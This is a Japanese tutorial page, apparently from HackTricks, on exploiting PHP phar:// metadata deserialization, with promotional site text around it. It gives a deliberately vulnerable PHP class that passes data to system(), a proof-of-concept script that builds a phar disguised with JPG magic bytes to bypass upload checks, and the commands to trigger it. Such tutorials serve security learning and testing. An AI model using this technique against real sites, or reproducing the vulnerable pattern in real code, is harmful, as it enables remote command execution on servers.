6 KiB
phar:// デシリアライゼーション
htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ!
HackTricks をサポートする他の方法:
- HackTricks で企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを手に入れる
- The PEASS Familyを発見し、独占的なNFTsコレクションを見つける
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmでフォローしてください。
- ハッキングトリックを共有するために、PRを HackTricksとHackTricks CloudのGitHubリポジトリに提出してください。
バグバウンティのヒント: Intigritiにサインアップしてください。これは、ハッカーによって作成されたプレミアムバグバウンティプラットフォームです!今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**のバウンティを獲得し始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
Phar ファイル(PHPアーカイブ)ファイルには、シリアル化された形式のメタデータが含まれているため、これを解析すると、このメタデータがデシリアライズされ、PHPコード内のデシリアライゼーション脆弱性を悪用しようとすることができます。
この特性の最も良い点は、**file_get_contents()
、fopen()
、file()
、file_exists()
、md5_file()
、filemtime()
、filesize()
**など、PHPコードを評価しないPHP関数を使用していても、このデシリアライゼーションが発生することです。
したがって、phar://
プロトコルを使用して、PHPウェブが任意のファイルのサイズを取得する状況を想像してみてください。そしてコード内で以下のようなクラスを見つけた場合を考えてみてください:
{% code title="vunl.php" %}
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
{% endcode %}
pharファイルを作成して、次のようにしてこのクラスを悪用して任意のコマンドを実行することができます:
{% code title="create_phar.php" %}
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
{% endcode %}
JPGのマジックバイト(\xff\xd8\xff
)がpharファイルの先頭に追加され、可能性のあるファイルアップロード****制限をバイパスすることに注意してください。
次のコマンドでtest.phar
ファイルをコンパイルします:
php --define phar.readonly=0 create_phar.php
そして、脆弱なコードを悪用してwhoami
コマンドを実行します:
php vuln.php
参考文献
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
バグバウンティのヒント: Intigriti に サインアップ してください。これは、ハッカーによって作成されたプレミアムな バグバウンティプラットフォーム です!https://go.intigriti.com/hacktricks で今すぐ参加し、最大 $100,000 のバウンティを獲得しましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
**htARTE (HackTricks AWS Red Team Expert)** で **ゼロからヒーローまでのAWSハッキングを学びましょう**!
HackTricks をサポートする他の方法:
- HackTricks で企業を宣伝したい、または HackTricks をPDFでダウンロードしたい 場合は、SUBSCRIPTION PLANS をチェックしてください!
- 公式PEASS&HackTricksのグッズを入手する
- The PEASS Family を発見し、独占的な NFTs のコレクションを見つける
- 💬 Discordグループ に参加するか、telegramグループ に参加するか、Twitter 🐦 @carlospolopm をフォローする
- HackTricks と HackTricks Cloud のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する